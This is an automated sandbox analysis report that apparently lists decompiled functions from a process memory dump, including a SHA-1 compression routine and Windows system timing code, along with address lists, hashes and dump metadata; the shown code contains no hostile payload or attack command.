0x0002e0bd
0x0002e0be
0x0002e0bf
0x0002e0c1
0x0002e0cb
0x0002e0d1
0x0002e0d7
0x0002e0de
0x0002e0e5
0x0002e0eb
0x0002e0ec
0x0002e0f2
0x0002e0f8
0x0002e0f8
0x0002e0fe
0x0002e105
0x00000000
0x00000000
0x0002e10b
0x0002e112
0x0002e118
0x0002e119
0x0002e11f
0x0002e125
0x0002e126
0x0002e127
0x0002e127
0x0002e127
0x0002e12d
0x0002e130
0x0002e133
0x0002e139
0x0002e13f
0x0002e140
0x0002e147
0x0002e14d
0x0002e14e
0x0002e154
0x0002e15b
0x0002e161
0x0002e162
0x0002e165
0x0002e16b
0x0002e16c
0x0002e172
0x0002e179
0x0002e17a
0x0002e180
0x0002e186
0x0002e186
0x0002e18c
0x00000000
0x00000000
0x0002e192
0x0002e19c
0x0002e19d
0x0002e1a0
0x0002e1a6
0x0002e1ad
0x0002e1b3
0x0002e1b8
0x0002e1bb
0x0002e1c2
0x0002e1c3
0x0002e1c4
0x0002e1ca
0x0002e1d1
0x0002e1d6
0x0002e1dc
0x0002e1e3
0x0002e1e9
0x0002e1e9
0x0002e1ef
0x0002e1f5
0x0002e1fc
0x0002e202
0x00000000
0x00000000
0x0002e208
0x0002e20e
0x0002e214
0x0002e21a
0x0002e220
0x0002e226
0x0002e226
0x0002e227
0x00000000
0x00000000
0x0002e22d
0x0002e233
0x0002e234
0x0002e23a
0x0002e23b
0x0002e242
0x0002e248
0x0002e24e
0x0002e251
0x0002e258
0x0002e25e
0x0002e265
0x0002e26b
0x0002e271
0x0002e277
0x0002e27d
0x0002e289
0x0002e28f
0x0002e294
0x0002e29a
0x0002e29b
0x0002e2a1
0x0002e2a7
0x0002e2ad
0x0002e2ba
0x0002e2c0
0x0002e2c6
0x0002e2cc
0x0002e2d6
0x0002e2d7
0x0002e2dc
0x0002e2e2
0x0002e2e8
0x0002e2ee
0x0002e2ef
0x0002e2f5
0x0002e2f6
0x0002e2f7
0x0002e2fd
0x0002e303
0x0002e308
0x0002e30e
0x0002e30f
0x0002e31b
0x0002e320
0x0002e326
0x0002e326
0x0002e326
0x0002e32c
0x0002e32d
0x0002e333
0x0002e339
0x0002e343
0x0002e349
0x0002e350
0x0002e360
0x0002e366
0x0002e36c
0x0002e36d
0x0002e374
0x0002e37b
0x0002e382
0x0002e388
0x0002e394
0x0002e39a
0x0002e3a0
0x0002e3a6
0x0002e3ab
0x0002e3b1
0x0002e3b7
0x0002e3bd
0x0002e3be
0x0002e3c4
0x0002e3ca
0x0002e3d1
0x0002e3d1
0x0002e3d7
0x0002e3d8
0x0002e3d9
0x0002e3df
0x0002e3e2
0x0002e3e5
0x0002e3eb
0x0002e3ec
0x0002e3f2
0x0002e3f8
0x0002e3fe
0x0002e404
0x0002e40a
0x0002e410
0x0002e416
0x0002e419
0x0002e41f
0x0002e41f
0x0002e41f
0x0002e425
0x0002e42b
0x0002e431
0x00000000
0x00000000
0x0002e437
0x0002e437
0x0002e437
0x0002e43d
0x0002e43e
0x0002e43f
0x0002e445
0x00000000
0x00000000
0x0002e44b
0x0002e451
0x0002e457
0x0002e45d
0x0002e45d
0x0002e463
0x00000000
0x00000000
0x0002e46f
0x0002e472
0x0002e478
0x0002e47e
0x0002e47e
0x0002e47e
0x0002e484
0x0002e48a
0x0002e48b
0x0002e491
0x0002e498
0x0002e49e
0x0002e4a4
0x0002e4aa
0x0002e4b0
0x0002e4b3
0x0002e4b9
0x0002e4bf
0x0002e4c6
0x0002e4c9
0x0002e4d3
0x0002e4d9
0x0002e4df
0x0002e4e1
0x0002e4e2
0x0002e4e5
0x0002e4e7
0x0002e4ee
0x0002e4ee
0x0002e4ef

Strings

:l, xrefs: 0002E0CB

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID:
String ID: :l
API String ID: 0-2023748140
Opcode ID: d58cefcfce72567482df131da4159bb3cb571b4503863c731c80409860bb6752
Instruction ID: efe8ec24d95da345ba1114975a5a6f253346b05769e7deda2090c6cd3f6189b6
Opcode Fuzzy Hash: d58cefcfce72567482df131da4159bb3cb571b4503863c731c80409860bb6752
Instruction Fuzzy Hash: D7727432909795CFD716CF38E99AB513FB1F752324B08425EC9A1935E2E738242ADF84

Uniqueness

Uniqueness Score: -1.00%

Function 00019280 Relevance: 1.7, Strings: 1, Instructions: 423
COMMONCrypto

Download Yara Rule

C-Code - Quality: 73%

			E00019280(signed int* _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				char _v304;
				signed char* _t277;
				signed int* _t278;
				signed int _t279;
				signed int _t285;
				signed int _t288;
				signed int _t292;
				signed int _t295;
				signed int _t299;
				signed int _t303;
				signed int _t305;
				signed int _t311;
				signed int _t318;
				signed int _t320;
				signed int _t323;
				signed int _t325;
				signed int _t334;
				signed int _t340;
				signed int _t341;
				signed int _t346;
				signed int _t353;
				signed int _t357;
				signed int _t358;
				signed int _t362;
				signed int _t365;
				signed int _t369;
				signed int _t370;
				signed int _t399;
				signed int _t404;
				signed int _t410;
				signed int _t413;
				signed int _t420;
				signed int _t423;
				signed int _t432;
				signed int _t434;
				signed int _t437;
				signed int _t445;
				signed int _t459;
				signed int _t462;
				signed int _t463;
				signed int _t464;
				signed int _t470;
				signed int _t478;
				signed int _t479;
				signed int* _t480;
				signed int* _t481;
				signed int _t488;
				signed int _t491;
				signed int _t496;
				signed int _t499;
				signed int _t502;
				signed int _t505;
				signed int _t506;
				signed int _t510;
				signed int _t522;
				signed int _t525;
				signed int _t532;
				void* _t536;

				_t481 = _a4;
				_t353 = 0;
				_t2 =  &(_t481[7]); // 0x1b
				_t277 = _t2;
				do {
					 *(_t536 + _t353 * 4 - 0x14c) = ((( *(_t277 - 1) & 0x000000ff) << 0x00000008 |  *_t277 & 0x000000ff) << 0x00000008 | _t277[1] & 0x000000ff) << 0x00000008 | _t277[2] & 0x000000ff;
					 *(_t536 + _t353 * 4 - 0x148) = (((_t277[3] & 0x000000ff) << 0x00000008 | _t277[4] & 0x000000ff) << 0x00000008 | _t277[5] & 0x000000ff) << 0x00000008 | _t277[6] & 0x000000ff;
					 *(_t536 + _t353 * 4 - 0x144) = (((_t277[7] & 0x000000ff) << 0x00000008 | _t277[8] & 0x000000ff) << 0x00000008 | _t277[9] & 0x000000ff) << 0x00000008 | _t277[0xa] & 0x000000ff;
					 *(_t536 + _t353 * 4 - 0x140) = (((_t277[0xb] & 0x000000ff) << 0x00000008 | _t277[0xc] & 0x000000ff) << 0x00000008 | _t277[0xd] & 0x000000ff) << 0x00000008 | _t277[0xe] & 0x000000ff;
					_t353 = _t353 + 4;
					_t277 =  &(_t277[0x10]);
				} while (_t353 < 0x10);
				_t278 =  &_v304;
				_v8 = 0x10;
				do {
					_t399 =  *(_t278 - 0x18);
					_t459 =  *(_t278 - 0x14);
					_t357 =  *(_t278 - 0x20) ^ _t278[5] ^  *_t278 ^ _t399;
					asm("rol ecx, 1");
					asm("rol ebx, 1");
					_t278[9] =  *(_t278 - 0x1c) ^ _t278[6] ^ _t278[1] ^ _t459;
					_t278[8] = _t357;
					_t318 = _t278[7] ^  *(_t278 - 0x10) ^ _t278[2];
					_t278 =  &(_t278[4]);
					asm("rol ebx, 1");
					asm("rol edx, 1");
					_t46 =  &_v8;
					 *_t46 = _v8 - 1;
					_t278[6] = _t318 ^ _t399;
					_t278[7] =  *(_t278 - 0x1c) ^  *(_t278 - 4) ^ _t357 ^ _t459;
				} while ( *_t46 != 0);
				_t320 =  *_t481;
				_t279 = _t481[1];
				_t358 = _t481[2];
				_t404 = _t481[3];
				_v12 = _t320;
				_v16 = _t481[4];
				_v8 = 0;
				do {
					asm("rol ebx, 0x5");
					_t462 = _v8;
					_t488 = _t320 + ( !_t279 & _t404 | _t358 & _t279) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x14c)) + _v16 + 0x5a827999;
					_t323 = _v12;
					asm("ror eax, 0x2");
					_v16 = _t404;
					_v12 = _t488;
					asm("rol esi, 0x5");
					_v8 = _t358;
					_t410 = _t488 + ( !_t323 & _t358 | _t279 & _t323) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x148)) + _v16 + 0x5a827999;
					_t491 = _t279;
					asm("ror ebx, 0x2");
					_v16 = _v8;
					_t362 = _v12;
					_v8 = _t323;
					_t325 = _v8;
					_v12 = _t410;
					asm("rol edx, 0x5");
					_t285 = _t410 + ( !_t362 & _t491 | _t323 & _t362) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x144)) + _v16 + 0x5a827999;
					_t413 = _v12;
					_v16 = _t491;
					asm("ror ecx, 0x2");
					_v8 = _t362;
					_v12 = _t285;
					asm("rol eax, 0x5");
					_v16 = _t325;
					_t496 = _t285 + ( !_t413 & _t325 | _t362 & _t413) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x140)) + _v16 + 0x5a827999;
					_t358 = _v12;
					_t288 = _v8;
					asm("ror edx, 0x2");
					_v8 = _t413;
					_v12 = _t496;
					asm("rol esi, 0x5");
					_v16 = _t288;
					_t279 = _v12;
					_t499 = _t496 + ( !_t358 & _t288 | _t413 & _t358) +  *((intOrPtr*)(_t536 + _t462 * 4 - 0x13c)) + _v16 + 0x5a827999;
					_t404 = _v8;
					asm("ror ecx, 0x2");
					_t463 = _t462 + 5;
					_t320 = _t499;
					_v12 = _t320;
					_v8 = _t463;
				} while (_t463 < 0x14);
				_t464 = 0x14;
				do {
					asm("rol esi, 0x5");
					asm("ror eax, 0x2");
					_v16 = _t404;
					_t502 = _t499 + (_t404 ^ _t358 ^ _t279) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x14c)) + _v16 + 0x6ed9eba1;
					_t334 = _v12;
					_v12 = _t502;
					asm("rol esi, 0x5");
					_t420 = _t502 + (_t358 ^ _t279 ^ _t334) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x148)) + _v16 + 0x6ed9eba1;
					asm("ror ebx, 0x2");
					_t505 = _t279;
					_v16 = _t358;
					_t365 = _v12;
					_v12 = _t420;
					asm("rol edx, 0x5");
					asm("ror ecx, 0x2");
					_t292 = _t420 + (_t279 ^ _t334 ^ _t365) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x144)) + _v16 + 0x6ed9eba1;
					_t423 = _v12;
					_v8 = _t334;
					_v8 = _t365;
					_v12 = _t292;
					asm("rol eax, 0x5");
					_t464 = _t464 + 5;
					_t358 = _v12;
					asm("ror edx, 0x2");
					_t146 = _t505 + 0x6ed9eba1; // 0x6ed9eb9f
					_t506 = _t292 + (_t334 ^ _v8 ^ _t423) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x154)) + _t146;
					_t295 = _v8;
					_v8 = _t423;
					_v12 = _t506;
					asm("rol esi, 0x5");
					_t404 = _v8;
					_t499 = _t506 + (_t295 ^ _v8 ^ _t358) +  *((intOrPtr*)(_t536 + _t464 * 4 - 0x150)) + _t334 + 0x6ed9eba1;
					_v16 = _t295;
					_t279 = _v12;
					asm("ror ecx, 0x2");
					_v12 = _t499;
				} while (_t464 < 0x28);
				_v8 = 0x28;
				do {
					asm("rol esi, 0x5");
					_v16 = _t404;
					asm("ror eax, 0x2");
					_t510 = ((_t358 | _t279) & _t404 | _t358 & _t279) +  *((intOrPtr*)(_t536 + _v8 * 4 - 0x14c)) + _t499 + _v16 - 0x70e44324;
					_t470 = _v12;
					_v12 = _t510;
					asm("rol esi, 0x5");
					_t340 = _v8;
					asm("ror edi, 0x2");
					_t432 = ((_t279 | _t470) & _t358 | _t279 & _t470) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x148)) + _t510 + _v16 - 0x70e44324;
					_v16 = _t358;
					_t369 = _v12;
					_v12 = _t432;
					asm("rol edx, 0x5");
					_v8 = _t279;
					_t434 = ((_t470 | _t369) & _t279 | _t470 & _t369) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x144)) + _t432 + _v16 - 0x70e44324;
					asm("ror ecx, 0x2");
					_v16 = _v8;
					_t299 = _v12;
					_v8 = _t470;
					_v12 = _t434;
					asm("rol edx, 0x5");
					asm("ror eax, 0x2");
					_t522 = ((_t369 | _t299) & _t470 | _t369 & _t299) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x140)) + _t434 + _v16 - 0x70e44324;
					_v16 = _v8;
					_t437 = _t369;
					_t358 = _v12;
					_v8 = _t437;
					_v12 = _t522;
					asm("rol esi, 0x5");
					_v16 = _v8;
					_t499 = ((_t299 | _t358) & _t437 | _t299 & _t358) +  *((intOrPtr*)(_t536 + _t340 * 4 - 0x13c)) + _t522 + _v16 - 0x70e44324;
					_t404 = _t299;
					_t279 = _v12;
					asm("ror ecx, 0x2");
					_v12 = _t499;
					_t341 = _t340 + 5;
					_v8 = _t341;
				} while (_t341 < 0x3c);
				_t478 = 0x3c;
				_v8 = 0x3c;
				do {
					asm("rol esi, 0x5");
					_t479 = _v8;
					asm("ror eax, 0x2");
					_t525 = (_t404 ^ _t358 ^ _t279) +  *((intOrPtr*)(_t536 + _t478 * 4 - 0x14c)) + _t499 + _v16 - 0x359d3e2a;
					_t346 = _v12;
					_v16 = _t404;
					_v12 = _t525;
					asm("rol esi, 0x5");
					asm("ror ebx, 0x2");
					_t445 = (_t358 ^ _t279 ^ _t346) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x148)) + _t525 + _v16 - 0x359d3e2a;
					_v16 = _t358;
					_t370 = _v12;
					_v12 = _t445;
					asm("rol edx, 0x5");
					_v16 = _t279;
					asm("ror ecx, 0x2");
					_t303 = (_t279 ^ _t346 ^ _t370) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x144)) + _t445 + _v16 - 0x359d3e2a;
					_t404 = _v12;
					_v12 = _t303;
					asm("rol eax, 0x5");
					_v16 = _t346;
					_t532 = (_t346 ^ _t370 ^ _t404) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x140)) + _t303 + _v16 - 0x359d3e2a;
					_t305 = _t370;
					_v8 = _t346;
					asm("ror edx, 0x2");
					_v8 = _t370;
					_t358 = _v12;
					_v12 = _t532;
					asm("rol esi, 0x5");
					_t478 = _t479 + 5;
					_t499 = (_t305 ^ _t404 ^ _t358) +  *((intOrPtr*)(_t536 + _t479 * 4 - 0x13c)) + _t532 + _v16 - 0x359d3e2a;
					_v16 = _t305;
					_t279 = _v12;
					asm("ror ecx, 0x2");
					_v8 = _t404;
					_v12 = _t499;
					_v8 = _t478;
				} while (_t478 < 0x50);
				_t480 = _a4;
				_t480[2] = _t480[2] + _t358;
				_t480[3] = _t480[3] + _t404;
				_t311 = _t480[4] + _v16;
				 *_t480 =  *_t480 + _t499;
				_t480[1] = _t480[1] + _t279;
				_t480[4] = _t311;
				_t480[0x17] = 0;
				return _t311;
			}

0x0001928b
0x0001928f
0x00019291
0x00019291
0x00019294
0x000192b6
0x000192dc
0x00019302
0x00019324
0x0001932b
0x0001932e
0x00019331
0x0001933a
0x00019340
0x00019347
0x00019358
0x0001935b
0x0001935e
0x00019362
0x00019364
0x00019366
0x0001936f
0x00019372
0x00019375
0x00019380
0x00019386
0x00019388
0x00019388
0x0001938b
0x0001938e
0x0001938e
0x00019393
0x00019395
0x00019398
0x0001939b
0x000193a1
0x000193a4
0x000193a7
0x000193b0
0x000193b6
0x000193bf
0x000193ce
0x000193d5
0x000193d8
0x000193db
0x000193e4
0x000193e7
0x000193ea
0x00019402
0x00019409
0x0001940b
0x0001940e
0x00019411
0x0001941a
0x00019421
0x00019424
0x00019427
0x00019436
0x0001943d
0x00019440
0x00019443
0x0001944c
0x00019456
0x00019459
0x00019465
0x00019468
0x0001946f
0x00019472
0x00019475
0x0001947a
0x0001947d
0x00019486
0x00019497
0x0001949a
0x0001949d
0x000194a4
0x000194a7
0x000194aa
0x000194ad
0x000194af
0x000194b2
0x000194b5
0x000194be
0x000194c3
0x000194c3
0x000194d8
0x000194db
0x000194de
0x000194e5
0x000194e8
0x000194eb
0x00019500
0x00019507
0x0001950a
0x0001950e
0x00019511
0x00019516
0x00019519
0x00019528
0x0001952b
0x00019532
0x00019535
0x00019538
0x0001953b
0x0001953e
0x00019546
0x00019554
0x00019557
0x0001955a
0x0001955a
0x00019561
0x00019564
0x00019567
0x0001956f
0x0001957d
0x00019580
0x00019587
0x0001958a
0x0001958d
0x00019590
0x00019593
0x0001959c
0x000195a3
0x000195a3
0x000195a9
0x000195c2
0x000195c5
0x000195cc
0x000195cf
0x000195d2
0x000195e4
0x000195ee
0x000195f1
0x000195fa
0x000195fd
0x00019604
0x00019607
0x0001960d
0x00019620
0x00019627
0x0001962a
0x0001962d
0x00019630
0x00019639
0x0001963c
0x0001964f
0x00019652
0x0001965c
0x0001965f
0x00019661
0x0001966a
0x0001966d
0x00019680
0x00019686
0x00019689
0x00019690
0x00019692
0x00019695
0x00019698
0x0001969b
0x0001969e
0x000196a1
0x000196aa
0x000196af
0x000196b2
0x000196b2
0x000196c5
0x000196c8
0x000196cb
0x000196d2
0x000196d5
0x000196d8
0x000196db
0x000196ee
0x000196f1
0x000196fc
0x000196ff
0x0001970b
0x0001970e
0x00019714
0x00019717
0x0001971a
0x00019721
0x00019731
0x00019734
0x0001973a
0x0001973d
0x00019744
0x00019746
0x00019749
0x0001974c
0x0001974f
0x00019752
0x00019759
0x00019768
0x0001976b
0x00019772
0x00019775
0x00019778
0x0001977b
0x0001977e
0x00019781
0x00019784
0x0001978d
0x0001979e
0x000197a6
0x000197ac
0x000197af
0x000197b1
0x000197b4
0x000197b7
0x000197c4

Strings

(, xrefs: 0001959C

Memory Dump Source

Source File: 00000003.00000002.577252910.0000000000011000.00000020.00000001.01000000.00000005.sdmp, Offset: 00010000, based on PE: true

Associated: 00000003.00000002.577235632.0000000000010000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577294058.000000000002F000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.577307299.0000000000030000.00000020.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10000_bin.jbxd

Yara matches

Similarity

API ID:
String ID: (
API String ID: 0-3887548279
Opcode ID: 5b5895f0e51fce406fdbb92f5fe0f57fd39733701dba8a51bdd5afbf1107f5ef
Instruction ID: 129a5a0b0e1375d2d2396ff89b43d9d2b5d61423e476832eca1c6369b3bfb6bc
Opcode Fuzzy Hash: 5b5895f0e51fce406fdbb92f5fe0f57fd39733701dba8a51bdd5afbf1107f5ef
Instruction Fuzzy Hash: 9C021DB6E006189FDB54CF9AC8805DDFBF2FF88314F1AC1AAD859A7315D6746A418F80

Uniqueness

Uniqueness Score: -1.00%

Function 00DCB944 Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E00DCB944(signed int* __ecx, char __edx) {
				signed int _v8;
				signed int _v16;
				signed int _v20;
				char _v28;
				signed int _v32;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char _v77;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t65;
				intOrPtr _t67;
				intOrPtr _t68;
				char* _t73;
				intOrPtr _t77;
				intOrPtr _t78;
				signed int _t82;
				intOrPtr _t83;
				void* _t87;
				char _t88;
				intOrPtr* _t89;
				intOrPtr _t91;
				void* _t97;
				intOrPtr _t100;
				void* _t102;
				void* _t107;
				signed int _t108;
				intOrPtr* _t112;
				void* _t113;
				intOrPtr* _t114;
				intOrPtr _t115;
				intOrPtr _t116;
				intOrPtr _t117;
				signed int _t118;
				void* _t130;

				_t120 = (_t118 & 0xfffffff8) - 0x4c;
				_v8 =  *0xe9d360 ^ (_t118 & 0xfffffff8) - 0x0000004c;
				_t112 = __ecx;
				_v77 = __edx;
				_v48 = __ecx;
				_v28 = 0;
				_t5 = _t112 + 0xc; // 0x575651ff
				_t105 =  *_t5;
				_v20 = 0;
				_v16 = 0;
				if(_t105 == 0) {
					_t50 = _t112 + 4; // 0x5de58b5b
					_t60 =  *__ecx |  *_t50;
					if(( *__ecx |  *_t50) != 0) {
						 *__ecx = 0;
						__ecx[1] = 0;
						if(L00DC7D50() != 0) {
							_t65 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t65 = 0x7ffe0386;
						}
						if( *_t65 != 0) {
							E00E78CD6(_t112);
						}
						_push(0);
						_t52 = _t112 + 0x10; // 0x778df98b
						_push( *_t52);
						_t60 = L00DE9E20();
					}
					L20:
					_pop(_t107);
					_pop(_t113);
					_pop(_t87);
					return L00DEB640(_t60, _t87, _v8 ^ _t120, _t105, _t107, _t113);
				}
				_t8 = _t112 + 8; // 0x8b000cc2
				_t67 =  *_t8;
				_t88 =  *((intOrPtr*)(_t67 + 0x10));
				_t97 =  *((intOrPtr*)(_t105 + 0x10)) - _t88;
				_t108 =  *(_t67 + 0x14);
				_t68 =  *((intOrPtr*)(_t105 + 0x14));
				_t105 = 0x2710;
				asm("sbb eax, edi");
				_v44 = _t88;
				_v52 = _t108;
				_t60 = L00DECE00(_t97, _t68, 0x2710, 0);
				_v56 = _t60;
				if( *_t112 != _t88 ||  *(_t112 + 4) != _t108) {
					L3:
					 *(_t112 + 0x44) = _t60;
					_t105 = _t60 * 0x2710 >> 0x20;
					 *_t112 = _t88;
					 *(_t112 + 4) = _t108;
					_v20 = _t60 * 0x2710;
					_v16 = _t60 * 0x2710 >> 0x20;
					if(_v77 != 0) {
						L16:
						_v36 = _t88;
						_v32 = _t108;
						if(L00DC7D50() != 0) {
							_t73 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
						} else {
							_t73 = 0x7ffe0386;
						}
						if( *_t73 != 0) {
							_t105 = _v40;
							L00E78F6A(_t112, _v40, _t88, _t108);
						}
						_push( &_v28);
						_push(0);
						_push( &_v36);
						_t48 = _t112 + 0x10; // 0x778df98b
						_push( *_t48);
						_t60 = L00DEAF60();
						goto L20;
					} else {
						_t89 = 0x7ffe03b0;
						do {
							_t114 = 0x7ffe0010;
							do {
								_t77 =  *0xe98628; // 0x0
								_v68 = _t77;
								_t78 =  *0xe9862c; // 0x0
								_v64 = _t78;
								_v72 =  *_t89;
								_v76 =  *((intOrPtr*)(_t89 + 4));
								while(1) {
									_t105 =  *0x7ffe000c;
									_t100 =  *0x7ffe0008;
									if(_t105 ==  *_t114) {
										goto L8;
									}
									asm("pause");
								}
								L8:
								_t89 = 0x7ffe03b0;
								_t115 =  *0x7ffe03b0;
								_t82 =  *0x7FFE03B4;
								_v60 = _t115;
								_t114 = 0x7ffe0010;
								_v56 = _t82;
							} while (_v72 != _t115 || _v76 != _t82);
							_t83 =  *0xe98628; // 0x0
							_t116 =  *0xe9862c; // 0x0
							_v76 = _t116;
							_t117 = _v68;
						} while (_t117 != _t83 || _v64 != _v76);
						asm("sbb edx, [esp+0x24]");
						_t102 = _t100 - _v60 - _t117;
						_t112 = _v48;
						_t91 = _v44;
						asm("sbb edx, eax");
						_t130 = _t105 - _v52;
						if(_t130 < 0 || _t130 <= 0 && _t102 <= _t91) {
							_t88 = _t102 - _t91;
							asm("sbb edx, edi");
							_t108 = _t105;
						} else {
							_t88 = 0;
							_t108 = 0;
						}
						goto L16;
					}
				} else {
					if( *(_t112 + 0x44) == _t60) {
						goto L20;
					}
					goto L3;
				}
			}

0x00dcb94c
0x00dcb956
0x00dcb95c
0x00dcb95e
0x00dcb964
0x00dcb969
0x00dcb96d
0x00dcb96d
0x00dcb970
0x00dcb974
0x00dcb97a
0x00dcbadf
0x00dcbadf
0x00dcbae2
0x00dcbae4
0x00dcbae6
0x00dcbaf0
0x00e12cb8
0x00dcbaf6
0x00dcbaf6
0x00dcbaf6
0x00dcbafd
0x00dcbb1f
0x00dcbb1f
0x00dcbaff
0x00dcbb00
0x00dcbb00
0x00dcbb03
0x00dcbb03
0x00dcbacb
0x00dcbacf
0x00dcbad0
0x00dcbad1
0x00dcbadc
0x00dcbadc
0x00dcb980
0x00dcb980
0x00dcb988
0x00dcb98b
0x00dcb98d
0x00dcb990
0x00dcb993
0x00dcb999
0x00dcb99b
0x00dcb9a1
0x00dcb9a5
0x00dcb9aa
0x00dcb9b0
0x00dcb9bb
0x00dcb9c0
0x00dcb9c3
0x00dcb9ca
0x00dcb9cc
0x00dcb9cf
0x00dcb9d3
0x00dcb9d7
0x00dcba94
0x00dcba94
0x00dcba98
0x00dcbaa3
0x00e12ccb
0x00dcbaa9
0x00dcbaa9
0x00dcbaa9
0x00dcbab1
0x00e12cd5
0x00e12cdd
0x00e12cdd
0x00dcbabb
0x00dcbabc
0x00dcbac2
0x00dcbac3
0x00dcbac3
0x00dcbac6
0x00000000
0x00dcb9dd
0x00dcb9dd
0x00dcb9e7
0x00dcb9e7
0x00dcb9ec
0x00dcb9ec
0x00dcb9f1
0x00dcb9f5
0x00dcb9fa
0x00dcba00
0x00dcba0c
0x00dcba10
0x00dcba10
0x00dcba12
0x00dcba18
0x00000000
0x00000000
0x00dcbb26
0x00dcbb26
0x00dcba1e
0x00dcba1e
0x00dcba23
0x00dcba25
0x00dcba2c
0x00dcba30
0x00dcba35
0x00dcba35
0x00dcba41
0x00dcba46
0x00dcba4c
0x00dcba50
0x00dcba54
0x00dcba6a
0x00dcba6e
0x00dcba70
0x00dcba74
0x00dcba78
0x00dcba7a
0x00dcba7c
0x00dcba8e
0x00dcba90
0x00dcba92
0x00dcbb14
0x00dcbb14
0x00dcbb16
0x00dcbb16
0x00000000
0x00dcba7c
0x00dcbb0a
0x00dcbb0d
0x00000000
0x00000000
0x00000000
0x00dcbb0f

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00DCB9A5

Memory Dump Source

Source File: 00000003.00000002.577803600.0000000000D80000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D80000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_d80000_bin.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 885266447-0
Opcode ID: dce6763068d006441d0d351ec19b5105a5e79d63a0910d14aa430da0924096cf
Instruction ID: f42a337a60d9035ac455e3e6f05324bc5d23e7b28808a5e6e84f2b0b8eb38749
Opcode Fuzzy Hash: dce6763068d006441d0d351ec19b5105a5e79d63a0910d14aa430da0924096cf
Instruction Fuzzy Hash: 02513871608342CFC720DF29C481A2ABBE5FB88720F24496EF6C597255DB71EC44CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00DAB171 Relevance: 1.7, APIs: 1, Instructions: 166
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00DAB171(signed short __ebx, intOrPtr __ecx, intOrPtr* __edx, intOrPtr* __edi, signed short __esi, void* __eflags) {
				signed int _t65;
				signed short _t69;
				intOrPtr _t70;
				signed short _t85;
				void* _t86;
				signed short _t89;
				signed short _t91;
				intOrPtr _t92;
				intOrPtr _t97;
				intOrPtr* _t98;
				signed short _t99;
				signed short _t101;
				void* _t102;
				char* _t103;
				signed short _t104;
				intOrPtr* _t110;
				void* _t111;
				void* _t114;
				intOrPtr* _t115;

				_t109 = __esi;
				_t108 = __edi;
				_t106 = __edx;
				_t95 = __ebx;
				_push(0x90);
				_push(0xe7f7a8);
				E00DFD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t114 - 0x9c)) = __edx;
				 *((intOrPtr*)(_t114 - 0x84)) = __ecx;
				 *((intOrPtr*)(_t114 - 0x8c)) =  *((intOrPtr*)(_t114 + 0xc));
				 *((intOrPtr*)(_t114 - 0x88)) =  *((intOrPtr*)(_t114 + 0x10));
				 *((intOrPtr*)(_t114 - 0x78)) =  *[fs:0x18];
				if(__edx == 0xffffffff) {
					L6:
					_t97 =  *((intOrPtr*)(_t114 - 0x78));
					_t65 =  *(_t97 + 0xfca) & 0x0000ffff;
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) != 0) {
						L3:
						L4:
						return E00DFD130(_t95, _t108, _t109);
					}
					 *(_t97 + 0xfca) = _t65 | 0x00000002;
					_t108 = 0;
					_t109 = 0;
					_t95 = 0;
					__eflags = 0;
					while(1) {
						__eflags = _t95 - 0x200;
						if(_t95 >= 0x200) {
							break;
						}
						E00DED000(0x80);
						 *((intOrPtr*)(_t114 - 0x18)) = _t115;
						_t108 = _t115;
						_t95 = _t95 - 0xffffff80;
						_t17 = _t114 - 4;
						 *_t17 =  *(_t114 - 4) & 0x00000000;
						__eflags =  *_t17;
						_t106 =  *((intOrPtr*)(_t114 - 0x84));
						_t110 =  *((intOrPtr*)(_t114 - 0x84));
						_t102 = _t110 + 1;
						do {
							_t85 =  *_t110;
							_t110 = _t110 + 1;
							__eflags = _t85;
						} while (_t85 != 0);
						_t111 = _t110 - _t102;
						_t21 = _t95 - 1; // -129
						_t86 = _t21;
						__eflags = _t111 - _t86;
						if(_t111 > _t86) {
							_t111 = _t86;
						}
						E00DEF3E0(_t108, _t106, _t111);
						_t115 = _t115 + 0xc;
						_t103 = _t111 + _t108;
						 *((intOrPtr*)(_t114 - 0x80)) = _t103;
						_t89 = _t95 - _t111;
						__eflags = _t89;
